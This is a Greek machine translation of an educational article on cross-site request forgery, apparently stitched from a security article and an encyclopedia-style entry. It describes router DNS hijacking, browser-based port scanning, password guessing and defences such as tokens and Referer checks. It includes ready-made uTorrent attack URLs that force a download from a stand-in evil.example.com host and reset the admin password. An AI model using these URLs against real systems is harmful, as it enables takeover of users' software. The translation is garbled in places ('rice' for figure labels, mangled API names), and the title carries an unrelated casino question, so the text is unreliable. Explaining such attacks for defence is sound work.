Πώς να προστατευτείτε από επιθέσεις csrf. Ευπάθεια CSRF. Εισαγωγή. Πώς καθορίζεται η δικαιοσύνη του καζίνο;

Παραχάραξη αιτημάτων μεταξύ ιστότοπων – πολλή φασαρία για το τίποτα

Αλεξάντερ Αντίποφ

ΣΕ ΠρόσφαταΥπάρχει ευρεία συζήτηση στην κοινότητα ασφάλειας εφαρμογών Ιστού σχετικά με έναν «νέο» τύπο ευπάθειας που ονομάζεται Παραχάραξη αιτημάτων μεταξύ ιστοτόπων (CSRF ή XSRF). Το άρθρο που φέρνουμε στην προσοχή του αναγνώστη περιέχει μια περιγραφή αυτού του τύπου τρωτών σημείων, τις μεθόδους χρήσης του και τις κύριες προσεγγίσεις προστασίας.


Σεργκέι Γκορντεϊτσίκ

Gordey @ ptsecurity com

Πρόσφατα, υπήρξε πολλή συζήτηση στην κοινότητα ασφάλειας εφαρμογών Ιστού σχετικά με έναν «νέο» τύπο ευπάθειας που ονομάζεται πλαστογράφηση αιτημάτων διασταυρούμενης τοποθεσίας (CSRF ή XSRF). Το άρθρο που φέρνουμε στην προσοχή του αναγνώστη περιέχει μια περιγραφή αυτού του τύπου τρωτών σημείων, τις μεθόδους χρήσης του και τις κύριες προσεγγίσεις προστασίας. Ο γενικά αποδεκτός ρωσικός όρος για την παραχάραξη αιτημάτων μεταξύ ιστότοπων δεν έχει ακόμη καθιερωθεί, και ως εκ τούτου ο συγγραφέας προτείνει τη χρήση της επιλογής "Πλαστογραφία αιτήματος HTTP".

Λυρική παρέκβαση

Πρώτα απ 'όλα, θα ήθελα να σταθώ στις κύριες παρανοήσεις που σχετίζονται με το CSRF:

1. Η πλαστογράφηση αιτημάτων HTTP είναι ένας νέος τύπος ευπάθειας.

Αυτό απέχει πολύ από το να είναι αλήθεια. Οι θεωρητικές σκέψεις σχετικά με το θέμα της πλαστογράφησης της πηγής μηνυμάτων χρονολογούνται από το 1988 (http://www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html) και πρακτικά παραδείγματα τρωτών σημείων έχουν συζητηθεί στο Bugtraq τουλάχιστον από το 2000 (http ://www. zope.org/Members/jim/ZopeSecurity/ClientSideTrojan). Ο ίδιος ο όρος εισήχθη από τον Peter Watkins (http://www.securiteam.com/securitynews/5FP0C204KE.html) το 2001.

2. Το CSRF είναι μια παραλλαγή του Cross-Site Scripting (XSS).

Η μόνη ομοιότητα μεταξύ CSRF και XSS είναι η χρήση πελατών εφαρμογών Ιστού ως φορέα επίθεσης (Επίθεση από την πλευρά του πελάτη στην ορολογία WASC http://www.webappsec.org/projects/threat/). Τα τρωτά σημεία CSRF μπορούν να αξιοποιηθούν σε συνδυασμό με XSS ή "redirectors" (http://www..php), αλλά αντιπροσωπεύουν μια ξεχωριστή κατηγορία τρωτών σημείων.

3. Η ευπάθεια CSRF δεν είναι συνηθισμένη και αρκετά δύσκολη στην εκμετάλλευση.

Τα δεδομένα που ελήφθησαν από την Positive Technologies κατά τη διάρκεια δοκιμών διείσδυσης και αξιολόγησης ασφάλειας εφαρμογών Ιστού δείχνουν ότι η πλειονότητα των εφαρμογών Ιστού είναι επιρρεπείς σε αυτήν την ευπάθεια. Σε αντίθεση με άλλα τρωτά σημεία, το CSRF δεν προκύπτει ως αποτέλεσμα σφαλμάτων προγραμματισμού, αλλά είναι φυσιολογική συμπεριφορά του διακομιστή Web και του προγράμματος περιήγησης. Εκείνοι. Οι περισσότεροι ιστότοποι που χρησιμοποιούν τυπική αρχιτεκτονική είναι ευάλωτοι από προεπιλογή.

Παράδειγμα χρήσης

Ας δούμε τη χρήση του CSRF με ένα παράδειγμα. Ας υποθέσουμε ότι υπάρχει μια εφαρμογή Web που στέλνει μηνύματα ΗΛΕΚΤΡΟΝΙΚΗ ΔΙΕΥΘΥΝΣΗ. Ο χρήστης καθορίζει τη διεύθυνση email και το κείμενο του μηνύματος, κάνει κλικ στο κουμπί Υποβολή και το μήνυμα από τη διεύθυνσή του αποστέλλεται στον παραλήπτη.

Ρύζι. 1. Αποστολή μηνύματος

Το σχήμα είναι γνωστό από πολλούς ιστότοπους και δεν εγείρει αντιρρήσεις. Ωστόσο, η εν λόγω εφαρμογή είναι πολύ πιθανό να είναι ευάλωτη σε επιθέσεις παραποίησης αιτήματος HTTP. Για να εκμεταλλευτεί την ευπάθεια, ένας εισβολέας μπορεί να δημιουργήσει μια σελίδα στον ιστότοπό του που περιέχει έναν σύνδεσμο προς μια «εικόνα» και στη συνέχεια να αναγκάσει τον χρήστη να ακολουθήσει τον σύνδεσμο προς τον ιστότοπό του (για παράδειγμα, http://bh.ptsecurity.ru/xcheck /csrf.htm).

Κατά την πρόσβαση σε μια σελίδα, το πρόγραμμα περιήγησης του χρήστη προσπαθεί να φορτώσει την εικόνα, για την οποία επικοινωνεί με την ευάλωτη εφαρμογή, π.χ. στέλνει ένα μήνυμα ηλεκτρονικού ταχυδρομείου στον παραλήπτη που καθορίζεται στο πεδίο "προς" του αιτήματος.

Ρύζι. 2. Επίθεση CSRF

Λάβετε υπόψη ότι το πρόγραμμα περιήγησης του χρήστη θα στείλει μια τιμή Cookie στον ιστότοπο, π.χ. το αίτημα θα γίνει αντιληπτό ότι προέρχεται από έναν πιστοποιημένο χρήστη. Προκειμένου να αναγκαστεί ένας χρήστης να φορτώσει μια σελίδα που στέλνει ένα αίτημα σε έναν ευάλωτο διακομιστή, ένας εισβολέας μπορεί να χρησιμοποιήσει μεθόδους κοινωνική μηχανική, καθώς και τεχνικές ευπάθειες όπως το XSS και σφάλματα κατά την υλοποίηση της συνάρτησης ανακατεύθυνσης.

Ρύζι. 3. Λογική λειτουργίας CSRF

Έτσι, μια επίθεση CSRF περιλαμβάνει τη χρήση του προγράμματος περιήγησης του χρήστη για την αποστολή αιτημάτων HTTP σε αυθαίρετους ιστότοπους και η ευπάθεια είναι η αποτυχία ελέγχου της προέλευσης του αιτήματος HTTP. Το παράδειγμα εφαρμογής χρησιμοποιεί τη μέθοδο HTTP GET για να μεταβιβάζει παραμέτρους, γεγονός που διευκολύνει τη ζωή ενός εισβολέα. Ωστόσο, μην υποθέσετε ότι η χρήση της μεθόδου POST εξαλείφει αυτόματα την πιθανότητα επιθέσεων πλαστογραφίας αιτημάτων HTTP. Η σελίδα στον διακομιστή του εισβολέα μπορεί να περιέχει μια έτοιμη φόρμα HTML που υποβάλλεται αυτόματα κατά την προβολή της σελίδας.

Για να εκμεταλλευτεί το CSRF, ένας εισβολέας δεν χρειάζεται να έχει δικό του διακομιστή Ιστού. Η σελίδα που ξεκινά το αίτημα μπορεί να μεταδοθεί με email ή με άλλα μέσα.

Η κριτική του Billy Hoffman καλύπτει διάφορες μεθόδους δικτύωσης χρησιμοποιώντας Javascript. Όλα αυτά, συμπεριλαμβανομένου του XmlHttxmpquest (σε ορισμένες περιπτώσεις), μπορούν να χρησιμοποιηθούν για την υλοποίηση επιθέσεων CSRF.

Ελπίζω ότι μέχρι τώρα ο αναγνώστης έχει ήδη καταλάβει την κύρια διαφορά μεταξύ CSRF και XSS. Στην περίπτωση του XSS, ο εισβολέας αποκτά πρόσβαση στο DOM (Document Object Model) της ευάλωτης σελίδας, τόσο για ανάγνωση όσο και για γραφή. Κατά την εκτέλεση του CSRF, ο εισβολέας έχει την ευκαιρία να στείλει ένα αίτημα στον διακομιστή χρησιμοποιώντας το πρόγραμμα περιήγησης του χρήστη, αλλά δεν θα μπορεί πλέον να λάβει και να αναλύσει την απόκριση του διακομιστή, πολύ περισσότερο την κεφαλίδα του (για παράδειγμα, Cookie). Αντίστοιχα, το "HTTP Request Forgery" σάς επιτρέπει να εργάζεστε με την εφαρμογή σε λειτουργία "μόνο εγγραφής", η οποία, ωστόσο, αρκεί για να πραγματοποιήσετε πραγματικές επιθέσεις.

Οι κύριοι στόχοι των επιθέσεων CSRF είναι διάφορες διαδραστικές εφαρμογές Ιστού, όπως συστήματα email, φόρουμ, CMS, διεπαφές τηλεχειριστήριο εξοπλισμός δικτύου. Για παράδειγμα, ένας εισβολέας μπορεί να στείλει μηνύματα για λογαριασμό άλλων χρηστών, να προσθέσει νέους λογαριασμούς ή να αλλάξει τις ρυθμίσεις του δρομολογητή μέσω της διεπαφής Ιστού.

Ρύζι. 4. Παράδειγμα χρήσης CSRF στο φόρουμ

Ας ρίξουμε μια πιο προσεκτική ματιά στο τελευταίο - αλλαγή ρυθμίσεων συσκευές δικτύου. Ο συγγραφέας αναφέρεται ήδη σε ασύρματα συστήματα ανίχνευσης επιθέσεων, αλλά φυσικά το θέμα δεν περιορίζεται σε αυτά.

Σπάμε την περίμετρο

Τον περασμένο Δεκέμβριο, η Symantec δημοσίευσε μια αναφορά για μια «νέα» επίθεση που ονομάζεται «Drive-By Pharming», η οποία είναι ουσιαστικά μια παραλλαγή της εκμετάλλευσης CSRF. Ο εισβολέας εκτελεί κάποιο είδος «μαγικής» JavaScript στο πρόγραμμα περιήγησης του χρήστη που αλλάζει τις ρυθμίσεις του δρομολογητή, για παράδειγμα, ορίζοντας μια νέα τιμή διακομιστή DNS. Για να εκτελέσετε αυτήν την επίθεση, πρέπει να λύσετε τα ακόλουθα προβλήματα:

Σάρωση θύρας με χρήση JavaScript.

Προσδιορισμός του τύπου της εφαρμογής Web (δακτυλικό αποτύπωμα).

Εικασία κωδικού πρόσβασης και έλεγχος ταυτότητας με χρήση CSRF.

Αλλαγή ρυθμίσεων κεντρικού υπολογιστή χρησιμοποιώντας επίθεση CSRF.

Η τεχνική της σάρωσης για τον προσδιορισμό της διαθεσιμότητας ενός διακομιστή Web και του τύπου λογισμικού του χρησιμοποιώντας JavaScript έχει επεξεργαστεί αρκετά καλά και καταλήγει σε δυναμική δημιουργίαΑντικείμενα HTML (π.χ. img src=) που δείχνουν σε διάφορες εσωτερικές διευθύνσεις URL (π.χ. http://192.168.0.1/pageerror.gif). Εάν η "εικόνα" φορτώθηκε με επιτυχία, τότε ένας διακομιστής Web που βασίζεται σε Microsoft IIS βρίσκεται στη δοκιμασμένη διεύθυνση. Εάν η απάντηση έλαβε ένα σφάλμα 404, τότε η θύρα είναι ανοιχτή και ο διακομιστής Web εκτελείται σε αυτήν. Εάν έχει ξεπεραστεί το χρονικό όριο, ο διακομιστής δεν βρίσκεται στο δίκτυο ή η θύρα είναι αποκλεισμένη στο τείχος προστασίας. Λοιπόν, σε άλλες περιπτώσεις - η θύρα είναι κλειστή, αλλά ο κεντρικός υπολογιστής είναι προσβάσιμος (ο διακομιστής επέστρεψε το πακέτο RST και το πρόγραμμα περιήγησης επέστρεψε ένα σφάλμα πριν από τη λήξη του χρονικού ορίου). Σε ορισμένες περιπτώσεις, μια τέτοια σάρωση θύρας από το πρόγραμμα περιήγησης του χρήστη μπορεί να πραγματοποιηθεί χωρίς τη χρήση JavaScript (http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html).

Αφού καθορίσει τον τύπο της συσκευής, ένας εισβολέας μπορεί να προσπαθήσει να αναγκάσει το πρόγραμμα περιήγησης του χρήστη να στείλει αμέσως αίτημα για αλλαγή ρυθμίσεων. Αλλά ένα τέτοιο αίτημα θα είναι επιτυχές μόνο εάν το πρόγραμμα περιήγησης του χρήστη έχει ήδη μια ενεργή επαληθευμένη περίοδο λειτουργίας από τη συσκευή. Έχετε στο χέρι ανοιχτή σελίδαΗ διαχείριση ενός δρομολογητή είναι μια κακή συνήθεια πολλών «προχωρημένων» χρηστών.

Εάν δεν υπάρχει ενεργή περίοδος σύνδεσης με τη διεπαφή διαχείρισης, ο εισβολέας πρέπει να πραγματοποιήσει έλεγχο ταυτότητας. Εάν η συσκευή εφαρμόζει έλεγχο ταυτότητας που βασίζεται σε φόρμες, δεν προκύπτουν προβλήματα. Χρησιμοποιώντας το CSRF στο POST, αποστέλλεται ένα αίτημα εξουσιοδότησης στον διακομιστή, μετά το οποίο φορτώνεται μια εικόνα (ή σελίδα) από αυτόν, προσβάσιμη μόνο σε πιστοποιημένους χρήστες. Εάν η εικόνα ελήφθη, τότε ο έλεγχος ταυτότητας ήταν επιτυχής και μπορείτε να προχωρήσετε περαιτέρω ενέργειες, διαφορετικά, δοκιμάστε έναν διαφορετικό κωδικό πρόσβασης.

Εάν η συσκευή που δέχεται επίθεση εφαρμόζει Βασικό έλεγχο ταυτότητας, η εργασία γίνεται πιο περίπλοκη. Περιηγητής διαδυκτίουΟ Explorer δεν υποστηρίζει τη δυνατότητα καθορισμού ονόματος χρήστη και κωδικού πρόσβασης σε μια διεύθυνση URL (για παράδειγμα, http://user: [email προστατευμένο]). Από αυτή την άποψη, για την εκτέλεση Βασικού ελέγχου ταυτότητας, μπορεί να χρησιμοποιηθεί η μέθοδος προσθήκης κεφαλίδων HTTP με χρήση Flash, που περιγράφεται στο άρθρο. Ωστόσο, αυτή η μέθοδος λειτουργεί μόνο για παλαιότερες εκδόσεις του Flash, οι οποίες γίνονται όλο και λιγότερο κοινές.

Ωστόσο, άλλα προγράμματα περιήγησης, όπως ο Firefox, παρέχουν τη δυνατότητα καθορισμού ονόματος χρήστη και κωδικού πρόσβασης στη διεύθυνση URL και μπορούν να χρησιμοποιηθούν για έλεγχο ταυτότητας σε οποιονδήποτε διακομιστή, και αυτό μπορεί να γίνει χωρίς να δημιουργηθεί μήνυμα σφάλματος εάν ο κωδικός πρόσβασης είναι λανθασμένος.

Ένα παράδειγμα σεναρίου για αθόρυβο έλεγχο ταυτότητας χρησιμοποιώντας τη μέθοδο Basic, από το ιστολόγιο του Stefan Esser, δίνεται παρακάτω.

Firefox HTTP Auth Bruteforcing

Ρύζι. 5. Βασικός έλεγχος ταυτότητας στον Firefox

Σε ένα εταιρικό περιβάλλον όπου χρησιμοποιούνται συχνά μηχανισμοί SSO, όπως το domain-based Ενεργό αρχείοκαι τα πρωτόκολλα Kerberos και NTLM, η εκμετάλλευση του CSRF δεν απαιτεί πρόσθετη προσπάθεια. Το πρόγραμμα περιήγησης θα πραγματοποιήσει αυτόματα έλεγχο ταυτότητας έναντι του περιβάλλοντος ασφαλείας του τρέχοντος χρήστη.

Αφού περάσει ο έλεγχος ταυτότητας, ο εισβολέας χρησιμοποιεί JavaScript για να στείλει ένα αίτημα που αλλάζει αυθαίρετες ρυθμίσεις δρομολογητή, όπως τη διεύθυνση διακομιστή DNS.

Μέθοδοι προστασίας

Το πρώτο πράγμα που έρχεται στο μυαλό όταν πρόκειται για προστασία CSRF είναι ο έλεγχος της τιμής της κεφαλίδας Referer. Πράγματι, δεδομένου ότι η πλαστογράφηση αιτημάτων HTTP περιλαμβάνει τη μετάδοση ενός αιτήματος από έναν τρίτο ιστότοπο, ο έλεγχος της αρχικής σελίδας, της οποίας η διεύθυνση προστίθεται αυτόματα στις κεφαλίδες αιτημάτων από το πρόγραμμα περιήγησης, μπορεί να λύσει το πρόβλημα.

Ωστόσο, αυτός ο μηχανισμός έχει μια σειρά από μειονεκτήματα. Πρώτον, ο προγραμματιστής έρχεται αντιμέτωπος με το ζήτημα της επεξεργασίας αιτημάτων που δεν έχουν κεφαλίδα Referer καθαυτή. Πολλά από τα προσωπικά τείχη προστασίαςκαι η ανωνυμοποίηση των διακομιστών μεσολάβησης αποκόπτει το Referer ως μια δυνητικά μη ασφαλή κεφαλίδα. Αντίστοιχα, εάν ο διακομιστής αγνοήσει παρόμοια αιτήματα, μια ομάδα από τους πιο «παρανοϊκούς» πολίτες δεν θα μπορέσει να συνεργαστεί μαζί του.

Δεύτερον, σε ορισμένες περιπτώσεις η κεφαλίδα του Referer μπορεί να πλαστογραφηθεί, για παράδειγμα χρησιμοποιώντας το τέχνασμα Flash που αναφέρθηκε ήδη. Εάν ο χρήστης χρησιμοποιεί IE 6.0, τα περιεχόμενα της κεφαλίδας αιτήματος ενδέχεται να τροποποιηθούν για να εκμεταλλευτεί ένα σφάλμα στην υλοποίηση XmlHttxmpquest. Η ευπάθεια έγκειται στη δυνατότητα χρήσης χαρακτήρων νέας γραμμής στο όνομα μιας μεθόδου HTTP, η οποία επιτρέπει την αλλαγή κεφαλίδων και ακόμη και την εισαγωγή πρόσθετου αιτήματος. Αυτή η ευπάθεια ανακαλύφθηκε από τον Amit Klein() το 2005 και ανακαλύφθηκε ξανά το 2007. Ο περιορισμός αυτής της μεθόδου είναι ότι λειτουργεί μόνο εάν υπάρχει διακομιστής μεσολάβησης HTTP μεταξύ του χρήστη και του διακομιστή ή εάν οι διακομιστές βρίσκονται στην ίδια διεύθυνση IP αλλά με διαφορετικά ονόματα τομέα.

Μια άλλη κοινή μέθοδος είναι η προσθήκη μιας μοναδικής παραμέτρου σε κάθε αίτημα, η οποία στη συνέχεια επικυρώνεται από τον διακομιστή. Η παράμετρος μπορεί να προστεθεί στη διεύθυνση URL όταν χρησιμοποιείται ένα αίτημα GET, όπως μέσα ή ως παράμετρος κρυφής φόρμας όταν χρησιμοποιείτε ένα POST. Η τιμή της παραμέτρου μπορεί να είναι αυθαίρετη, το κύριο πράγμα είναι ότι ο εισβολέας δεν μπορεί να την προβλέψει, για παράδειγμα, την τιμή της περιόδου σύνδεσης του χρήστη.

Ρύζι. 6. Προστασία CSRF στο Bitrix

Για να προσθέσετε γρήγορα τη λειτουργία ελέγχου CSRF στην εφαρμογή σας, μπορείτε να χρησιμοποιήσετε την ακόλουθη προσέγγιση:

1. Προσθέστε μια μικρή JavaScript σε κάθε σελίδα που δημιουργείται, προσθέτοντας μια πρόσθετη κρυφή παράμετρο σε όλες τις φόρμες, στην οποία εκχωρείται η τιμή Cookie.

2. Ελέγξτε στον διακομιστή ότι τα δεδομένα που αποστέλλονται από τον πελάτη χρησιμοποιώντας τη μέθοδο POST περιέχουν τιμή ίση με την τρέχουσα τιμή Cookie.

Ένα παράδειγμα τέτοιου σεναρίου πελάτη δίνεται παρακάτω:

Μια περαιτέρω ανάπτυξη αυτής της προσέγγισης είναι η αποθήκευση του αναγνωριστικού περιόδου λειτουργίας όχι σε ένα Cookie, αλλά ως μια παράμετρος κρυφής φόρμας (για παράδειγμα, VIEWSTATE).

Ως μέθοδος αντιμετώπισης του CSRF, μπορούν να χρησιμοποιηθούν διάφορες εκδόσεις δοκιμών Turing, για παράδειγμα, γνωστές εικόνες - CAPTCHA. Μια άλλη δημοφιλής επιλογή είναι η απαίτηση κωδικού πρόσβασης χρήστη κατά την αλλαγή κρίσιμων ρυθμίσεων.

Ρύζι. 7. Προστασία CSRF στο mail.ru

Επομένως, η πλαστογράφηση αιτημάτων μεταξύ τοποθεσιών είναι μια επίθεση που στοχεύει στον πελάτη μιας εφαρμογής Ιστού και χρησιμοποιεί ανεπαρκή επαλήθευση της προέλευσης του αιτήματος HTTP. Για προστασία από τέτοιες επιθέσεις, μπορεί να χρησιμοποιηθεί πρόσθετος έλεγχος της πηγής αιτήματος με βάση την κεφαλίδα Referer ή μια πρόσθετη «τυχαία» παράμετρο.

Ο Sergey Gordeychik εργάζεται ως αρχιτέκτονας συστημάτων στην Positive Technologies, όπου ειδικεύεται στην ασφάλεια εφαρμογών, την ασφάλεια των ασύρματων και κινητών τεχνολογιών. Ο συγγραφέας είναι επίσης ο κύριος προγραμματιστής του Security ασύρματα δίκτυα», «Ανάλυση και αξιολόγηση της ασφάλειας των διαδικτυακών εφαρμογών» του εκπαιδευτικού κέντρου Informzashita. Δημοσίευσε αρκετές δεκάδες άρθρα στο "Windows IT Pro/RE", το SecurityLab και άλλες εκδόσεις. Είναι μέλος των έργων του Web Application Security Consortium (WASC).

Παραχάραξη αιτημάτων μεταξύ τοποθεσιών, επίσης γνωστή ως επίθεση με ένα κλικ ή μονάδα συνεδρίας και συντομογραφία CSRF (μερικές φορές εκφράζεται παλιρροϊκή οπήακούστε)) ή XSRF, είναι ένας τύπος κακόβουλου λογισμικού που χρησιμοποιείται από έναν ιστότοπο όπου αποστέλλονται μη εξουσιοδοτημένες εντολές από τον χρήστη που εμπιστεύεται η εφαρμογή Ιστού. Υπάρχουν πολλοί τρόποι με τους οποίους ένας κακόβουλος ιστότοπος μπορεί να μεταδώσει τέτοιες εντολές. Οι ειδικά δημιουργημένες ετικέτες εικόνας, οι κρυφές φόρμες και τα JavaScript XMLHttpRequests, για παράδειγμα, μπορούν όλα να λειτουργήσουν χωρίς αλληλεπίδραση ή ακόμα και γνώση του χρήστη. Σε αντίθεση με το cross-site scripting (XSS), το οποίο εκμεταλλεύεται την εμπιστοσύνη που έχει ο χρήστης για έναν συγκεκριμένο ιστότοπο, το CSRF εκμεταλλεύεται την εμπιστοσύνη που έχει ο ιστότοπος στο πρόγραμμα περιήγησης του χρήστη.

ιστορία

Τα τρωτά σημεία CSRF είναι γνωστά και σε ορισμένες περιπτώσεις χρησιμοποιούνται από το 2001. Δεδομένου ότι πραγματοποιείται από τη διεύθυνση IP του χρήστη, ορισμένα αρχεία καταγραφής ιστότοπου ενδέχεται να μην έχουν στοιχεία CSRF. Οι εκμεταλλεύσεις υποτιμώνται, από τουλάχιστονδημόσια, και από το 2007 υπήρχαν αρκετά καλά τεκμηριωμένα παραδείγματα:

  • Ο ιστότοπος του Netflix το 2006 είχε πολλά τρωτά σημεία CSRF που θα μπορούσαν να επιτρέψουν σε έναν εισβολέα να εκτελέσει ενέργειες όπως η προσθήκη ενός DVD στην ουρά ενοικίασης ενός θύματος, η αλλαγή της διεύθυνσης αποστολής σε έναν λογαριασμό ή η αλλαγή των διαπιστευτηρίων σύνδεσης του θύματος για πλήρη παραβίαση του λογαριασμού.
  • Η διαδικτυακή τραπεζική εφαρμογή ING Direct ήταν ευάλωτη σε επιθέσεις CSRF, επιτρέποντας παράνομες μεταφορές χρημάτων.
  • Ο δημοφιλής ιστότοπος βίντεο YouTube ήταν επίσης ευάλωτος στο CSRF το 2008 και αυτό επέτρεπε σε κάθε εισβολέα να εκτελέσει σχεδόν οτιδήποτε μπορούσε να κάνει οποιοσδήποτε χρήστης.
  • Το McAfee είναι επίσης ευάλωτο στο CSRF, το οποίο επέτρεψε στους εισβολείς να τροποποιήσουν το εταιρικό τους σύστημα.

Νέες επιθέσεις σε συσκευές Ιστού πραγματοποιήθηκαν το 2018, συμπεριλαμβανομένων προσπαθειών αλλαγής Ρυθμίσεις DNSδρομολογητές. Ορισμένοι κατασκευαστές δρομολογητών έσπευσαν να κυκλοφορήσουν ενημερώσεις υλικολογισμικού για να βελτιώσουν την ασφάλεια και συμβούλευσαν τους χρήστες να αλλάξουν τις ρυθμίσεις του δρομολογητή τους για να μειώσουν τον κίνδυνο. Λεπτομέρειες δεν δόθηκαν στη δημοσιότητα, επικαλούμενες «προφανείς λόγους ασφαλείας».

Παράδειγμα και χαρακτηριστικά

Οι εισβολείς που μπορούν να βρουν έναν αναπαραγόμενο σύνδεσμο που εκτελεί μια συγκεκριμένη ενέργεια σε μια σελίδα προορισμού ενώ το θύμα εγγράφεται, μπορούν να ενσωματώσουν έναν τέτοιο σύνδεσμο σε μια σελίδα που ελέγχουν και να ξεγελάσουν το θύμα για να τον ανοίξει. Ο σύνδεσμος πολυμέσων επίθεσης μπορεί να τοποθετηθεί σε μια τοποθεσία που είναι πιο πιθανό να επισκεφτεί το θύμα με σύνδεση στον ιστότοπο-στόχο (όπως μια συζήτηση φόρουμ) ή να σταλεί στο σώμα ενός μηνύματος ηλεκτρονικού ταχυδρομείου ή συνημμένου HTML. Η πραγματική ευπάθεια CSRF στο UTorrent (CVE-2008-6586) εκμεταλλεύτηκε το γεγονός ότι η κονσόλα Ιστού του είναι προσβάσιμη στο localhost:8080 επιτρέποντας την εκτέλεση κρίσιμων ενεργειών με ένα απλό αίτημα GET:

Αναγκαστική λήψη αρχείου .torrent http://localhost:8080/gui/action=add URL&s=http://evil.example.com/backdoor.torrent Αλλαγή κωδικού πρόσβασης διαχειριστή Utorrent http://localhost:8080/gui/action = setsetting & s = webui.password & v = eviladmin

Οι επιθέσεις ξεκίνησαν με την τοποθέτηση κακόβουλων, αυτοματοποιημένων στοιχείων εικόνας HTML σε φόρουμ και ανεπιθύμητα email, έτσι ώστε τα προγράμματα περιήγησης που επισκέπτονται αυτές τις σελίδες να τις ανοίγουν αυτόματα, χωρίς ιδιαίτερη ενέργεια από την πλευρά του χρήστη. Τα άτομα που εκτελούσαν μια ευάλωτη έκδοση του Utorrent ταυτόχρονα με το άνοιγμα αυτών των σελίδων ήταν επιρρεπή στην επίθεση.

Οι επιθέσεις CSRF που χρησιμοποιούν ετικέτες εικόνας γίνονται συχνά από φόρουμ στο διαδίκτυο όπου οι χρήστες μπορούν να δημοσιεύουν εικόνες, αλλά όχι JavaScript, για παράδειγμα χρησιμοποιώντας BBCode:

Http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

Κατά την πρόσβαση σε έναν σύνδεσμο επίθεσης σε μια τοπική εφαρμογή Utorrent στο localhost:8080, το πρόγραμμα περιήγησης θα στέλνει πάντα αυτόματα τυχόν υπάρχοντα cookie για αυτόν τον τομέα. Αυτή η κοινή ιδιότητα των προγραμμάτων περιήγησης ιστού επιτρέπει στις επιθέσεις CSRF να εκμεταλλεύονται τα τρωτά σημεία του στόχου τους και να εκτελούν εχθρικές ενέργειες όσο ο χρήστης είναι συνδεδεμένος στον ιστότοπο-στόχο (σε αυτό το παράδειγμα τοπικός ιστός- Διασύνδεση Utorrent) τη στιγμή της επίθεσης.

Η πλαστογράφηση αιτημάτων μεταξύ τοποθεσιών είναι μια σύγχυση επίθεση μεσολάβησης κατά του προγράμματος περιήγησης ιστού.

Το CSRF έχει συνήθως τα ακόλουθα χαρακτηριστικά:

  • Περιλαμβάνει ιστότοπους που βασίζονται στην ταυτότητα χρήστη.
  • Αξιοποιεί την εμπιστοσύνη του ιστότοπου σε αυτήν την ταυτότητα.
  • Ξεγελά το πρόγραμμα περιήγησης του χρήστη για να στείλει αιτήματα HTTP στον ιστότοπο-στόχο.
  • Περιλαμβάνει αιτήματα HTTP που έχουν παρενέργειες.
Ρήματα HTTP και CSRF
  • Στο HTTP GET, η εκμετάλλευση του CSRF είναι ασήμαντη, χρησιμοποιώντας τις μεθόδους που περιγράφονται παραπάνω, όπως μια απλή υπερσύνδεση που περιέχει παραμέτρους που έχουν χειριστεί και φορτώνεται αυτόματα χρησιμοποιώντας μια ετικέτα IMG. Σύμφωνα με την προδιαγραφή HTTP, ωστόσο, το GET θα πρέπει να χρησιμοποιείται ως ασφαλής μέθοδος, χωρίς δηλαδή να αλλάζει σημαντικά η κατάσταση του χρήστη στην εφαρμογή. Οι εφαρμογές που χρησιμοποιούν το GET για τέτοιες λειτουργίες θα πρέπει να αλλάζουν σε HTTP POST ή να χρησιμοποιούν προστασία CSRF.
  • Το HTTP POST έχει διάφορες ευπάθειες CSRF, ανάλογα με τις λεπτομερείς περιπτώσεις χρήσης:
    • Στην απλούστερη μορφή του, ένα POST με δεδομένα κωδικοποιημένα ως συμβολοσειρά ερωτήματος (field1=value1&field2=value2) επίθεση CSRF υλοποιείται εύκολα χρησιμοποιώντας μια απλή φόρμα HTML και πρέπει να εφαρμοστούν μέτρα anti-CSRF.
    • Εάν τα δεδομένα μεταδίδονται σε οποιαδήποτε άλλη μορφή (JSON, XML), η τυπική μέθοδος είναι Αίτημα POSTχρησιμοποιώντας XMLHttpRequest με CSRF οι επιθέσεις αποτρέπονται από το SOP και το ; υπάρχει μια μέθοδος για την υποβολή αυθαίρετου περιεχομένου από μια απλή φόρμα HTML χρησιμοποιώντας το χαρακτηριστικό ENCTYPE. ένα τέτοιο ψεύτικο αίτημα μπορεί να διακριθεί από το νόμιμο από τον τύπο κειμένου/απλού περιεχομένου, αλλά εάν αυτό δεν εκτελεστεί στον διακομιστή, μπορεί να εκτελεστεί το CSRF
  • άλλες μέθοδοι HTTP (PUT, DELETE, κ.λπ.) μπορούν να εκδοθούν μόνο με χρήση XMLHttpRequest με πρόληψη SOP και CSRF. Ωστόσο, αυτά τα μέτρα δεν θα είναι ενεργά σε ιστότοπους που τα απενεργοποιούν ρητά χρησιμοποιώντας την κεφαλίδα Access-Control-Allow-Origin: *
Άλλες προσεγγίσεις στο CSRF

Επιπλέον, ενώ συνήθως περιγράφεται ως στατικός τύπος επίθεσης, το CSRF μπορεί επίσης να κατασκευαστεί δυναμικά ως μέρος του ωφέλιμου φορτίου για σενάρια επιθέσεων μεταξύ τοποθεσιών, όπως αποδεικνύεται από το σκουλήκι Samy, ή να κατασκευαστεί εν κινήσει από πληροφορίες συνεδρίας που διέρρευσαν μέσω περιεχομένου εκτός τοποθεσίας και αποστέλλεται στον στόχο ως κακόβουλο URL. Τα διακριτικά CSRF μπορούν επίσης να σταλούν από έναν κακόβουλο πελάτη λόγω επιδιόρθωσης περιόδου λειτουργίας ή άλλων τρωτών σημείων ή να μαντέψουν μέσω μιας επίθεσης ωμής βίας που μεταφράζεται σε μια κακόβουλη σελίδα που δημιουργεί χιλιάδες αποτυχημένα αιτήματα. Η κλάση επίθεσης "Dynamic CSRF" ή η χρήση ωφέλιμου φορτίου ανά πελάτη για πλαστογράφηση συγκεκριμένης περιόδου λειτουργίας, περιγράφηκε το 2009 από τους Nathan Hamiel και Sean Moyer σε ενημερώσεις του BlackHat, αν και η ταξινόμηση δεν έχει ακόμη αποκτήσει ευρύτερη χρήση.

Ένας νέος φορέας για τη σύνθεση δυναμικών επιθέσεων CSRF παρουσιάστηκε από τον Oren Ofer στην τοπική συνάντηση κεφαλαίου OWASP τον Ιανουάριο του 2012 - "AJAX Hammer - Dynamic CSRF".

Συνέπειες

Έχουν εκδοθεί δείκτες σοβαρότητας για ευπάθειες CSRF που οδηγούν σε απομακρυσμένη εκτέλεση κώδικα με δικαιώματα root, καθώς και ευπάθεια που μπορεί να θέσει σε κίνδυνο ένα πιστοποιητικό ρίζας, το οποίο θα υπονόμευε πλήρως την υποδομή του δημόσιου κλειδιού.

